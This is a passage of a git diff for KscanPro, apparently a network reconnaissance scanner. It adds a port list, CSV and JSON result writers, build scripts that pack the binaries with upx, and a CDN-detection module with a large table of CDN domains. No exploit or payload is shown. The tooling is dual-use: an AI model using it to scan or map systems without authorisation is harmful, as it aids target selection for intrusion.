+ 8972, 9981, 48080, 9086, 10118, 40069, 28780, 20153, 20021, 20151, 58898, 10066, 1818, 9914, 55351,
+ 8343, 18000, 6546, 3880, 8902, 22222, 19045, 5561, 7979, 5203, 8879, 50240, 49960, 2007, 1722,
+ 8913, 8912, 9504, 8103, 8567, 1666, 8720, 8197, 3012, 8220, 9039, 5898, 925, 38517, 8382,
+ 6842, 8895, 2808, 447, 3600, 3606, 9095, 45177, 19101, 171, 133, 8189, 7108, 10154, 47078,
+ 6800, 8122, 381, 1443, 15580, 23352, 3443, 1180, 268, 2382, 43651, 10099, 65533, 7018, 60010,
+ 60101, 6699, 2005, 18002, 2009, 59777, 591, 1933, 9013, 8477, 9696, 9030, 2015, 7925, 6510,
+ 18803, 280, 5601, 2901, 2301, 5201, 302, 610, 8031, 5552, 8809, 6869, 9212, 17095, 20001,
+ 8781, 25024, 5280, 7909, 17003, 1088, 7117, 20052, 1900, 10038, 30551, 9980, 9180, 59009, 28280,
+ 7028, 61999, 7915, 8384, 9918, 9919, 55858, 7215, 77, 9845, 20140, 8288, 7856, 1982, 1123,
+ 17777, 8839, 208, 2886, 877, 6101, 5100, 804, 983, 5600, 8402, 5887, 8322, 770, 13333,
+ 7330, 3216, 31188, 47583, 8710, 22580, 1042, 2020, 34440, 20, 7703, 65055, 8997, 6543, 6388,
+ 8283, 7201, 4040, 61081, 12001, 3588, 7123, 2490, 4389, 1313, 19080, 9050, 6920, 299, 20046,
+ 8892, 9302, 7899, 30058, 7094, 6801, 321, 1356, 12333, 11362, 11372, 6602, 7709, 45149, 3668,
+ 517, 9912, 9096, 8130, 7050, 7713, 40080, 8104, 13988, 18264, 8799, 55070, 23458, 8176, 9517,
+ 9541, 9542, 9512, 8905, 11660, 1025, 44445, 44401, 17173, 436, 560, 733, 968, 602, 3133,
+ 3398, 16580, 8488, 8901, 8512, 10443, 9113, 9119, 6606, 22080, 5560, 7, 5757, 1600, 8250,
+ 10024, 10200, 333, 73, 7547, 8054, 6372, 223, 3737, 9800, 9019, 8067, 45692, 15400, 15698,
+ 9038, 37006, 2086, 1002, 9188, 8094, 8201, 8202, 30030, 2663, 9105, 10017, 4503, 1104, 8893,
+ 40001, 27779, 3010, 7083, 5010, 5501, 309, 1389, 10070, 10069, 10056, 3094, 10057, 10078, 10050,
+ 10060, 10098, 4180, 10777, 270, 6365, 9801, 1046, 7140, 1004, 9198, 8465, 8548, 108, 30015,
+ 8153, 1020, 50100, 8391, 34899, 7090, 6100, 8777, 8298, 8281, 7023, 3377, 9100,
+}
diff --git a/app/type-csvwriter.go b/app/type-csvwriter.go
new file mode 100644
index 0000000..5e3dd43
--- /dev/null
+++ b/app/type-csvwriter.go
@@ -0,0 +1,35 @@
+package app
+
+import "encoding/csv"
+
+type CSVWriter struct {
+ f *csv.Writer
+ title []string
+}
+
+func (cw *CSVWriter) inTitle(title string) bool {
+ for _, value := range cw.title {
+ if value == title {
+ return true
+ }
+ }
+ return false
+}
+
+func (cw *CSVWriter) Push(m map[string]string) {
+ var cells []string
+ for _, key := range cw.title {
+ if value, ok := m[key]; ok {
+ cells = append(cells, value)
+ delete(m, key)
+ } else {
+ cells = append(cells, "")
+ }
+ }
+ for key, value := range m {
+ cells = append(cells, value)
+ cw.title = append(cw.title, key)
+ }
+ cw.f.Write(cells)
+ cw.f.Flush()
+}
diff --git a/app/type-jsonwriter.go b/app/type-jsonwriter.go
new file mode 100644
index 0000000..136da8f
--- /dev/null
+++ b/app/type-jsonwriter.go
@@ -0,0 +1,33 @@
+package app
+
+import (
+ "KscanPro/core/slog"
+ "encoding/json"
+ "os"
+ "sync"
+)
+
+type JSONWriter struct {
+ f *os.File
+ mutex *sync.Mutex
+}
+
+func (jw *JSONWriter) Push(m map[string]string) {
+ jw.mutex.Lock()
+ defer jw.mutex.Unlock()
+ stat, err := jw.f.Stat()
+ if err != nil {
+ slog.Println(slog.ERROR, err)
+ }
+ jsonBuf, _ := json.MarshalIndent(m, "\t", "\t")
+ jsonBuf = append(jsonBuf, []byte("\n]\n")...)
+ if stat.Size() == 2 {
+ jw.f.Seek(stat.Size()-1, 0)
+ jsonBuf = append([]byte("\n\t"), jsonBuf...)
+ jw.f.Write(jsonBuf)
+ } else {
+ jw.f.Seek(stat.Size()-4, 0)
+ jsonBuf = append([]byte("},\n\t"), jsonBuf...)
+ jw.f.Write(jsonBuf)
+ }
+}
diff --git "a/assets/CDN\350\257\206\345\210\253\346\274\224\347\244\272.jpg" "b/assets/CDN\350\257\206\345\210\253\346\274\224\347\244\272.jpg"
new file mode 100644
index 0000000..bb6382a
Binary files /dev/null and "b/assets/CDN\350\257\206\345\210\253\346\274\224\347\244\272.jpg" differ
diff --git "a/assets/Fofa\347\273\223\346\236\234\346\243\200\347\264\242\346\274\224\347\244\272.png" "b/assets/Fofa\347\273\223\346\236\234\346\243\200\347\264\242\346\274\224\347\244\272.png"
new file mode 100644
index 0000000..d28131e
Binary files /dev/null and "b/assets/Fofa\347\273\223\346\236\234\346\243\200\347\264\242\346\274\224\347\244\272.png" differ
diff --git "a/assets/Hydra\345\212\237\350\203\275\346\274\224\347\244\272.png" "b/assets/Hydra\345\212\237\350\203\275\346\274\224\347\244\272.png"
new file mode 100644
index 0000000..9f4c784
Binary files /dev/null and "b/assets/Hydra\345\212\237\350\203\275\346\274\224\347\244\272.png" differ
diff --git a/assets/image-20210220164117921.jpg b/assets/image-20210220164117921.jpg
new file mode 100644
index 0000000..b55c0d9
Binary files /dev/null and b/assets/image-20210220164117921.jpg differ
diff --git a/assets/image-20210220164117923.png b/assets/image-20210220164117923.png
new file mode 100644
index 0000000..658bfc5
Binary files /dev/null and b/assets/image-20210220164117923.png differ
diff --git "a/assets/img\346\225\210\346\236\234\345\233\276.png" "b/assets/img\346\225\210\346\236\234\345\233\276.png"
new file mode 100644
index 0000000..f5f8d02
Binary files /dev/null and "b/assets/img\346\225\210\346\236\234\345\233\276.png" differ
diff --git "a/assets/kscan\351\200\273\350\276\221\345\233\276.drawio.png" "b/assets/kscan\351\200\273\350\276\221\345\233\276.drawio.png"
new file mode 100644
index 0000000..5b555e3
Binary files /dev/null and "b/assets/kscan\351\200\273\350\276\221\345\233\276.drawio.png" differ
diff --git "a/assets/\345\255\230\346\264\273\347\275\221\346\256\265\346\243\200\346\265\213\346\274\224\347\244\272.jpg" "b/assets/\345\255\230\346\264\273\347\275\221\346\256\265\346\243\200\346\265\213\346\274\224\347\244\272.jpg"
new file mode 100644
index 0000000..5a285d9
Binary files /dev/null and "b/assets/\345\255\230\346\264\273\347\275\221\346\256\265\346\243\200\346\265\213\346\274\224\347\244\272.jpg" differ
diff --git "a/assets/\347\253\257\345\217\243\346\211\253\346\217\217\346\274\224\347\244\272.png" "b/assets/\347\253\257\345\217\243\346\211\253\346\217\217\346\274\224\347\244\272.png"
new file mode 100644
index 0000000..470098c
Binary files /dev/null and "b/assets/\347\253\257\345\217\243\346\211\253\346\217\217\346\274\224\347\244\272.png" differ
diff --git a/build.sh b/build.sh
new file mode 100644
index 0000000..b4e7758
--- /dev/null
+++ b/build.sh
@@ -0,0 +1,5 @@
+export LDFLAGS='-s -w '
+
+go build -ldflags="$LDFLAGS" -trimpath kscan.go
+
+upx -9 kscan
\ No newline at end of file
diff --git a/build_release.sh b/build_release.sh
new file mode 100644
index 0000000..e877c7e
--- /dev/null
+++ b/build_release.sh
@@ -0,0 +1,29 @@
+export LDFLAGS='-s -w '
+
+CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="$LDFLAGS" -trimpath -o kscan_linux_amd64 kscan.go
+CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags="$LDFLAGS" -trimpath -o kscan_windows_386.exe kscan.go
+CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="$LDFLAGS" -trimpath -o kscan_windows_amd64.exe kscan.go
+CGO_ENABLED=0 GOOS=windows GOARCH=arm64 go build -ldflags="$LDFLAGS" -trimpath -o kscan_windows_arm64.exe kscan.go
+CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="$LDFLAGS" -trimpath -o kscan_darwin_amd64 kscan.go
+CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -ldflags="$LDFLAGS" -trimpath -o kscan_darwin_arm64 kscan.go
+
+upx -9 kscan_linux_amd64
+upx -9 kscan_windows_386.exe
+upx -9 kscan_windows_amd64.exe
+upx -9 kscan_windows_arm64.exe
+upx -9 kscan_darwin_amd64
+upx -9 kscan_darwin_arm64
+
+zip kscan_linux_amd64.zip kscan_linux_amd64
+zip kscan_windows_386.zip kscan_windows_386.exe
+zip kscan_windows_amd64.zip kscan_windows_amd64.exe
+zip kscan_windows_arm64.zip kscan_windows_arm64.exe
+zip kscan_darwin_amd64.zip kscan_darwin_amd64
+zip kscan_darwin_arm64.zip kscan_darwin_arm64
+
+rm -f kscan_linux_amd64
+rm -f kscan_windows_386.exe
+rm -f kscan_windows_amd64.exe
+rm -f kscan_windows_arm64.exe
+rm -f kscan_darwin_amd64
+rm -f kscan_darwin_arm64
\ No newline at end of file
diff --git a/core/cdn/cdn.go b/core/cdn/cdn.go
new file mode 100644
index 0000000..ead796e
--- /dev/null
+++ b/core/cdn/cdn.go
@@ -0,0 +1,386 @@
+package cdn
+
+import (
+ "KscanPro/core/slog"
+ "KscanPro/lib/dns"
+ "KscanPro/lib/qqwry"
+ "KscanPro/lib/uri"
+ "os"
+ "path/filepath"
+ "strings"
+)
+
+var database *qqwry.QQwry
+
+func Init(path string) {
+ fs, err := os.OpenFile(path, os.O_RDONLY, 0400)
+ if err != nil {
+ slog.Println(slog.WARN, "qqwry open err:", err)
+ return
+ }
+ d, err := qqwry.NewQQwryFS(fs)
+ if err != nil {
+ slog.Println(slog.WARN, "qqwry init err:", err)
+ return
+ }
+ database = d
+}
+
+func DownloadQQWry() error {
+ return qqwry.Download("./qqwry.dat")
+}
+
+func FindWithIP(query string) (bool, string, error) {
+ result, err := Find(query)
+ if strings.Contains(result, "CDN") {
+ return true, result, err
+ }
+ return false, "", err
+}
+
+func Find(query string) (string, error) {
+ result, err := database.Find(query)
+ if err != nil {
+ return "", err
+ }
+ if strings.Contains(result.String(), "对方和您在同一内部网") {
+ return "", err
+ }
+ return result.String(), err
+}
+
+func getRealPath() string {
+ dir, _ := os.Executable()
+ path := filepath.Dir(dir)
+ return path
+}
+
+type Item struct {
+ Domain string
+ Name string
+ Description string
+}
+
+func FindWithDomain(domain string) (bool, string, error) {
+ IPs, err := dns.LookupIP(domain)
+ if err != nil {
+ slog.Println(slog.DEBUG, domain, "lookupIP err :", err)
+ return false, "", err
+ }
+ if uri.SameSegment(IPs...) == false {
+ return true, "域名指向多个IP地址,且不在同一网段,该域名可能使用了CDN技术", nil
+ }
+
+ CNAMES, err := dns.LookupCNAME(domain)
+ if err != nil {
+ slog.Println(slog.DEBUG, domain, "lookupCNAME err :", err)
+ return false, "", err
+ }
+ for _, cname := range CNAMES {
+ if strings.Contains(cname, "cdn") {
+ return true, "CNAME中含有关键字:cdn,该域名可能使用了CDN技术", nil
+
+ }
+ for _, domain := range parseBaseCname(cname) {
+ for _, item := range domainItems {
+ if item.Domain == domain {
+ return true, item.Name + ":" + item.Description, nil
+ }
+ }
+ }
+ }
+ return false, "", nil
+}
+
+func Resolution(domain string) (string, error) {
+ ips, err := dns.LookupIP(domain)
+ if err != nil {
+ return "", err
+ }
+ return ips[0], nil
+
+}
+
+func parseBaseCname(cname string) (result []string) {
+ parts := strings.Split(cname, ".")
+ size := len(parts)
+ if size == 0 {
+ return []string{}
+ }
+ cname = parts[size-1]
+ result = append(result, cname)
+ for i := len(parts) - 2; i >= 0; i-- {
+ cname = parts[i] + "." + cname
+ result = append(result, cname)
+ }
+ return result
+}
+
+var domainItems = []Item{
+ {"15cdn.com", "腾正安全加速(原 15CDN)", "https://www.15cdn.com"},
+ {"tzcdn.cn", "腾正安全加速(原 15CDN)", "https://www.15cdn.com"},
+ {"cedexis.net", "Cedexis GSLB", "https://www.cedexis.com/"},
+ {"cdxcn.cn", "Cedexis GSLB (For China)", "https://www.cedexis.com/"},
+ {"qhcdn.com", "360 云 CDN (由奇安信运营)", "https://cloud.360.cn/doc?name=cdn"},
+ {"qh-cdn.com", "360 云 CDN (由奇虎 360 运营)", "https://cloud.360.cn/doc?name=cdn"},
+ {"qihucdn.com", "360 云 CDN (由奇虎 360 运营)", "https://cloud.360.cn/doc?name=cdn"},
+ {"360cdn.com", "360 云 CDN (由奇虎 360 运营)", "https://cloud.360.cn/doc?name=cdn"},
+ {"360cloudwaf.com", "奇安信网站卫士", "https://wangzhan.qianxin.com"},
+ {"360anyu.com", "奇安信网站卫士", "https://wangzhan.qianxin.com"},
+ {"360safedns.com", "奇安信网站卫士", "https://wangzhan.qianxin.com"},
+ {"360wzws.com", "奇安信网站卫士", "https://wangzhan.qianxin.com"},
+ {"akamai.net", "Akamai CDN", "https://www.akamai.com"},
+ {"akamaiedge.net", "Akamai CDN", "https://www.akamai.com"},
+ {"ytcdn.net", "Akamai CDN", "https://www.akamai.com"},
+ {"edgesuite.net", "Akamai CDN", "https://www.akamai.com"},
+ {"akamaitech.net", "Akamai CDN", "https://www.akamai.com"},
+ {"akamaitechnologies.com", "Akamai CDN", "https://www.akamai.com"},
+ {"edgekey.net", "Akamai CDN", "https://www.akamai.com"},
+ {"tl88.net", "易通锐进(Akamai 中国)由网宿承接", "https://www.akamai.com"},
+ {"cloudfront.net", "AWS CloudFront", "https://aws.amazon.com/cn/cloudfront/"},
+ {"worldcdn.net", "CDN.NET", "https://cdn.net"},
+ {"worldssl.net", "CDN.NET / CDNSUN / ONAPP", "https://cdn.net"},
+ {"cdn77.org", "CDN77", "https://www.cdn77.com/"},
+ {"panthercdn.com", "CDNetworks", "https://www.cdnetworks.com"},
+ {"cdnga.net", "CDNetworks", "https://www.cdnetworks.com"},
+ {"cdngc.net", "CDNetworks", "https://www.cdnetworks.com"},
+ {"gccdn.net", "CDNetworks", "https://www.cdnetworks.com"},
+ {"gccdn.cn", "CDNetworks", "https://www.cdnetworks.com"},
+ {"akamaized.net", "Akamai CDN", "https://www.akamai.com"},
+ {"126.net", "网易云 CDN", "https://www.163yun.com/product/cdn"},
+ {"163jiasu.com", "网易云 CDN", "https://www.163yun.com/product/cdn"},
+ {"amazonaws.com", "AWS Cloud", "https://aws.amazon.com/cn/cloudfront/"},
+ {"cdn77.net", "CDN77", "https://www.cdn77.com/"},
+ {"cdnify.io", "CDNIFY", "https://cdnify.com"},
+ {"cdnsun.net", "CDNSUN", "https://cdnsun.com"},
+ {"bdydns.com", "百度云 CDN", "https://cloud.baidu.com/product/cdn.html"},
+ {"ccgslb.com.cn", "蓝汛 CDN", "https://cn.chinacache.com/"},
+ {"ccgslb.net", "蓝汛 CDN", "https://cn.chinacache.com/"},
+ {"ccgslb.com", "蓝汛 CDN", "https://cn.chinacache.com/"},
+ {"ccgslb.cn", "蓝汛 CDN", "https://cn.chinacache.com/"},
+ {"c3cache.net", "蓝汛 CDN", "https://cn.chinacache.com/"},
+ {"c3dns.net", "蓝汛 CDN", "https://cn.chinacache.com/"},
+ {"chinacache.net", "蓝汛 CDN", "https://cn.chinacache.com/"},
+ {"wswebcdn.com", "网宿 CDN", "https://www.wangsu.com/"},
+ {"lxdns.com", "网宿 CDN", "https://www.wangsu.com/"},
+ {"wswebpic.com", "网宿 CDN", "https://www.wangsu.com/"},
+ {"cloudflare.net", "Cloudflare", "https://www.cloudflare.com"},
+ {"akadns.net", "Akamai CDN", "https://www.akamai.com"},
+ {"chinanetcenter.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"customcdn.com.cn", "网宿 CDN", "https://www.wangsu.com"},
+ {"customcdn.cn", "网宿 CDN", "https://www.wangsu.com"},
+ {"51cdn.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"wscdns.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"cdn20.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"wsdvs.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"wsglb0.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"speedcdns.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"wtxcdn.com", "网宿 CDN", "https://www.wangsu.com"},
+ {"wsssec.com", "网宿 WAF CDN", "https://www.wangsu.com"},
+ {"fastly.net", "Fastly", "https://www.fastly.com"},
+ {"fastlylb.net", "Fastly", "https://www.fastly.com/"},
+ {"hwcdn.net", "Stackpath (原 Highwinds)", "https://www.stackpath.com/highwinds"},
+ {"incapdns.net", "Incapsula CDN", "https://www.incapsula.com"},
+ {"kxcdn.com.", "KeyCDN", "https://www.keycdn.com/"},
+ {"lswcdn.net", "LeaseWeb CDN", "https://www.leaseweb.com/cdn"},
+ {"mwcloudcdn.com", "QUANTIL (网宿)", "https://www.quantil.com/"},
+ {"mwcname.com", "QUANTIL (网宿)", "https://www.quantil.com/"},
+ {"azureedge.net", "Microsoft Azure CDN", "https://azure.microsoft.com/en-us/services/cdn/"},
+ {"msecnd.net", "Microsoft Azure CDN", "https://azure.microsoft.com/en-us/services/cdn/"},
+ {"mschcdn.com", "Microsoft Azure CDN", "https://azure.microsoft.com/en-us/services/cdn/"},
+ {"v0cdn.net", "Microsoft Azure CDN", "https://azure.microsoft.com/en-us/services/cdn/"},
+ {"azurewebsites.net", "Microsoft Azure App Service", "https://azure.microsoft.com/en-us/services/app-service/"},
+ {"azurewebsites.windows.net", "Microsoft Azure App Service", "https://azure.microsoft.com/en-us/services/app-service/"},
+ {"trafficmanager.net", "Microsoft Azure Traffic Manager", "https://azure.microsoft.com/en-us/services/traffic-manager/"},
+ {"cloudapp.net", "Microsoft Azure", "https://azure.microsoft.com"},
+ {"chinacloudsites.cn", "世纪互联旗下上海蓝云(承载 Azure 中国)", "https://www.21vbluecloud.com/"},
+ {"spdydns.com", "云端智度融合 CDN", "https://www.isurecloud.net/index.html"},
+ {"jiashule.com", "知道创宇云安全加速乐CDN", "https://www.yunaq.com/jsl/"},
+ {"jiasule.org", "知道创宇云安全加速乐CDN", "https://www.yunaq.com/jsl/"},
+ {"365cyd.cn", "知道创宇云安全创宇盾(政务专用)", "https://www.yunaq.com/cyd/"},
+ {"huaweicloud.com", "华为云WAF高防云盾", "https://www.huaweicloud.com/product/aad.html"},
+ {"cdnhwc1.com", "华为云 CDN", "https://www.huaweicloud.com/product/cdn.html"},
+ {"cdnhwc2.com", "华为云 CDN", "https://www.huaweicloud.com/product/cdn.html"},
+ {"cdnhwc3.com", "华为云 CDN", "https://www.huaweicloud.com/product/cdn.html"},
+ {"dnion.com", "帝联科技", "http://www.dnion.com/"},
+ {"ewcache.com", "帝联科技", "http://www.dnion.com/"},
+ {"globalcdn.cn", "帝联科技", "http://www.dnion.com/"},
+ {"tlgslb.com", "帝联科技", "http://www.dnion.com/"},
+ {"fastcdn.com", "帝联科技", "http://www.dnion.com/"},
+ {"flxdns.com", "帝联科技", "http://www.dnion.com/"},
+ {"dlgslb.cn", "帝联科技", "http://www.dnion.com/"},
+ {"newdefend.cn", "牛盾云安全", "https://www.newdefend.com"},
+ {"ffdns.net", "CloudXNS", "https://www.cloudxns.net"},
+ {"aocdn.com", "可靠云 CDN (贴图库)", "http://www.kekaoyun.com/"},
+ {"bsgslb.cn", "白山云 CDN", "https://zh.baishancloud.com/"},
+ {"qingcdn.com", "白山云 CDN", "https://zh.baishancloud.com/"},
+ {"bsclink.cn", "白山云 CDN", "https://zh.baishancloud.com/"},
+ {"trpcdn.net", "白山云 CDN", "https://zh.baishancloud.com/"},
+ {"anquan.io", "牛盾云安全", "https://www.newdefend.com"},
+ {"cloudglb.com", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"fastweb.com", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"fastwebcdn.com", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"cloudcdn.net", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"fwcdn.com", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"fwdns.net", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"hadns.net", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"hacdn.net", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"cachecn.com", "快网 CDN", "http://www.fastweb.com.cn/"},
+ {"qingcache.com", "青云 CDN", "https://www.qingcloud.com/products/cdn/"},
+ {"qingcloud.com", "青云 CDN", "https://www.qingcloud.com/products/cdn/"},
+ {"frontwize.com", "青云 CDN", "https://www.qingcloud.com/products/cdn/"},
+ {"msscdn.com", "美团云 CDN", "https://www.mtyun.com/product/cdn"},
+ {"800cdn.com", "西部数码", "https://www.west.cn"},
+ {"tbcache.com", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"aliyun-inc.com", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"aliyuncs.com", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"alikunlun.net", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"alikunlun.com", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"alicdn.com", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"aligaofang.com", "阿里云盾高防", "https://www.aliyun.com/product/ddos"},
+ {"yundunddos.com", "阿里云盾高防", "https://www.aliyun.com/product/ddos"},
+ {"kunlun(.*).com", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"cdngslb.com", "阿里云 CDN", "https://www.aliyun.com/product/cdn"},
+ {"yunjiasu-cdn.net", "百度云加速", "https://su.baidu.com"},
+ {"momentcdn.com", "魔门云 CDN", "https://www.cachemoment.com"},
+ {"aicdn.com", "又拍云", "https://www.upyun.com"},
+ {"qbox.me", "七牛云", "https://www.qiniu.com"},
+ {"qiniu.com", "七牛云", "https://www.qiniu.com"},
+ {"qiniudns.com", "七牛云", "https://www.qiniu.com"},
+ {"jcloudcs.com", "京东云 CDN", "https://www.jdcloud.com/cn/products/cdn"},
+ {"jdcdn.com", "京东云 CDN", "https://www.jdcloud.com/cn/products/cdn"},
+ {"qianxun.com", "京东云 CDN", "https://www.jdcloud.com/cn/products/cdn"},
+ {"jcloudlb.com", "京东云 CDN", "https://www.jdcloud.com/cn/products/cdn"},
+ {"jcloud-cdn.com", "京东云 CDN", "https://www.jdcloud.com/cn/products/cdn"},
+ {"maoyun.tv", "猫云融合 CDN", "https://www.maoyun.com/"},
+ {"maoyundns.com", "猫云融合 CDN", "https://www.maoyun.com/"},
+ {"xgslb.net", "WebLuker (蓝汛)", "http://www.webluker.com"},
+ {"ucloud.cn", "UCloud CDN", "https://www.ucloud.cn/site/product/ucdn.html"},
+ {"ucloud.com.cn", "UCloud CDN", "https://www.ucloud.cn/site/product/ucdn.html"},
+ {"cdndo.com", "UCloud CDN", "https://www.ucloud.cn/site/product/ucdn.html"},
+ {"zenlogic.net", "Zenlayer CDN", "https://www.zenlayer.com"},
+ {"ogslb.com", "Zenlayer CDN", "https://www.zenlayer.com"},
+ {"uxengine.net", "Zenlayer CDN", "https://www.zenlayer.com"},
+ {"tan14.net", "TAN14 CDN", "http://www.tan14.cn/"},
+ {"verycloud.cn", "VeryCloud 云分发", "https://www.verycloud.cn/"},
+ {"verycdn.net", "VeryCloud 云分发", "https://www.verycloud.cn/"},
+ {"verygslb.com", "VeryCloud 云分发", "https://www.verycloud.cn/"},
+ {"xundayun.cn", "SpeedyCloud CDN", "https://www.speedycloud.cn/zh/Products/CDN/CloudDistribution.html"},
+ {"xundayun.com", "SpeedyCloud CDN", "https://www.speedycloud.cn/zh/Products/CDN/CloudDistribution.html"},
+ {"speedycloud.cc", "SpeedyCloud CDN", "https://www.speedycloud.cn/zh/Products/CDN/CloudDistribution.html"},
+ {"mucdn.net", "Verizon CDN (Edgecast)", "https://www.verizondigitalmedia.com/platform/edgecast-cdn/"},
+ {"nucdn.net", "Verizon CDN (Edgecast)", "https://www.verizondigitalmedia.com/platform/edgecast-cdn/"},
+ {"alphacdn.net", "Verizon CDN (Edgecast)", "https://www.verizondigitalmedia.com/platform/edgecast-cdn/"},
+ {"systemcdn.net", "Verizon CDN (Edgecast)", "https://www.verizondigitalmedia.com/platform/edgecast-cdn/"},
+ {"edgecastcdn.net", "Verizon CDN (Edgecast)", "https://www.verizondigitalmedia.com/platform/edgecast-cdn/"},
+ {"zetacdn.net", "Verizon CDN (Edgecast)", "https://www.verizondigitalmedia.com/platform/edgecast-cdn/"},
+ {"coding.io", "Coding Pages", "https://coding.net/pages"},
+ {"coding.me", "Coding Pages", "https://coding.net/pages"},
+ {"gitlab.io", "GitLab Pages", "https://docs.gitlab.com/ee/user/project/pages/"},
+ {"github.io", "GitHub Pages", "https://pages.github.com/"},
+ {"herokuapp.com", "Heroku SaaS", "https://www.heroku.com"},
+ {"googleapis.com", "Google Cloud Storage", "https://cloud.google.com/storage/"},
+ {"netdna.com", "Stackpath (原 MaxCDN)", "https://www.stackpath.com/maxcdn/"},
+ {"netdna-cdn.com", "Stackpath (原 MaxCDN)", "https://www.stackpath.com/maxcdn/"},
+ {"netdna-ssl.com", "Stackpath (原 MaxCDN)", "https://www.stackpath.com/maxcdn/"},
+ {"cdntip.com", "腾讯云 CDN", "https://cloud.tencent.com/product/cdn-scd"},
+ {"dnsv1.com", "腾讯云 CDN", "https://cloud.tencent.com/product/cdn-scd"},
+ {"tencdns.net", "腾讯云 CDN", "https://cloud.tencent.com/product/cdn-scd"},
+ {"dayugslb.com", "腾讯云大禹 BGP 高防", "https://cloud.tencent.com/product/ddos-advanced"},
+ {"tcdnvod.com", "腾讯云视频 CDN", "https://lab.skk.moe/cdn"},
+ {"tdnsv5.com", "腾讯云 CDN", "https://cloud.tencent.com/product/cdn-scd"},
+ {"ksyuncdn.com", "金山云 CDN", "https://www.ksyun.com/post/product/CDN"},
+ {"ks-cdn.com", "金山云 CDN", "https://www.ksyun.com/post/product/CDN"},
+ {"ksyuncdn-k1.com", "金山云 CDN", "https://www.ksyun.com/post/product/CDN"},
+ {"netlify.com", "Netlify", "https://www.netlify.com"},
+ {"zeit.co", "ZEIT Now Smart CDN", "https://zeit.co"},
+ {"zeit-cdn.net", "ZEIT Now Smart CDN", "https://zeit.co"},
+ {"b-cdn.net", "Bunny CDN", "https://bunnycdn.com/"},
+ {"lsycdn.com", "蓝视云 CDN", "https://cloud.lsy.cn/"},
+ {"scsdns.com", "逸云科技云加速 CDN", "http://www.exclouds.com/navPage/wise"},
+ {"quic.cloud", "QUIC.Cloud", "https://quic.cloud/"},
+ {"flexbalancer.net", "FlexBalancer - Smart Traffic Routing", "https://perfops.net/flexbalancer"},
+ {"gcdn.co", "G - Core Labs", "https://gcorelabs.com/cdn/"},
+ {"sangfordns.com", "深信服 AD 系列应用交付产品 单边加速解决方案", "http://www.sangfor.com.cn/topic/2011adn/solutions5.html"},
+ {"stspg-customer.com", "StatusPage.io", "https://www.statuspage.io"},
+ {"turbobytes.net", "TurboBytes Multi-CDN", "https://www.turbobytes.com"},
+ {"turbobytes-cdn.com", "TurboBytes Multi-CDN", "https://www.turbobytes.com"},
+ {"att-dsa.net", "AT&T Content Delivery Network", "https://www.business.att.com/products/cdn.html"},
+ {"azioncdn.net", "Azion Tech | Edge Computing PLatform", "https://www.azion.com"},
+ {"belugacdn.com", "BelugaCDN", "https://www.belugacdn.com"},
+ {"cachefly.net", "CacheFly CDN", "https://www.cachefly.com/"},
+ {"inscname.net", "Instart CDN", "https://www.instart.com/products/web-performance/cdn"},
+ {"insnw.net", "Instart CDN", "https://www.instart.com/products/web-performance/cdn"},
+ {"internapcdn.net", "Internap CDN", "https://www.inap.com/network/content-delivery-network"},
+ {"footprint.net", "CenturyLink CDN (原 Level 3)", "https://www.centurylink.com/business/networking/cdn.html"},
+ {"llnwi.net", "Limelight Network", "https://www.limelight.com"},
+ {"llnwd.net", "Limelight Network", "https://www.limelight.com"},
+ {"unud.net", "Limelight Network", "https://www.limelight.com"},
+ {"lldns.net", "Limelight Network", "https://www.limelight.com"},
+ {"stackpathdns.com", "Stackpath CDN", "https://www.stackpath.com"},
+ {"stackpathcdn.com", "Stackpath CDN", "https://www.stackpath.com"},
+ {"mncdn.com", "Medianova", "https://www.medianova.com"},
+ {"rncdn1.com", "Relected Networks", "https://reflected.net/globalcdn"},
+ {"simplecdn.net", "Relected Networks", "https://reflected.net/globalcdn"},
+ {"swiftserve.com", "Conversant - SwiftServe CDN", "https://reflected.net/globalcdn"},
+ {"bitgravity.com", "Tata communications CDN", "https://cdn.tatacommunications.com"},
+ {"zenedge.net", "Oracle Dyn Web Application Security suite (原 Zenedge CDN)", "https://cdn.tatacommunications.com"},
+ {"biliapi.com", "Bilibili 业务 GSLB", "https://lab.skk.moe/cdn"},
+ {"hdslb.net", "Bilibili 高可用负载均衡", "https://github.com/bilibili/overlord"},
+ {"hdslb.com", "Bilibili 高可用地域负载均衡", "https://github.com/bilibili/overlord"},
+ {"xwaf.cn", "极御云安全(浙江壹云云计算有限公司)", "https://www.stopddos.cn"},
+ {"shifen.com", "百度旗下业务地域负载均衡系统", "https://lab.skk.moe/cdn"},
+ {"sinajs.cn", "新浪静态域名", "https://lab.skk.moe/cdn"},
+ {"tencent-cloud.net", "腾讯旗下业务地域负载均衡系统", "https://lab.skk.moe/cdn"},
+ {"elemecdn.com", "饿了么静态域名与地域负载均衡", "https://lab.skk.moe/cdn"},
+ {"sinaedge.com", "新浪科技融合CDN负载均衡", "https://lab.skk.moe/cdn"},
+ {"sina.com.cn", "新浪科技融合CDN负载均衡", "https://lab.skk.moe/cdn"},
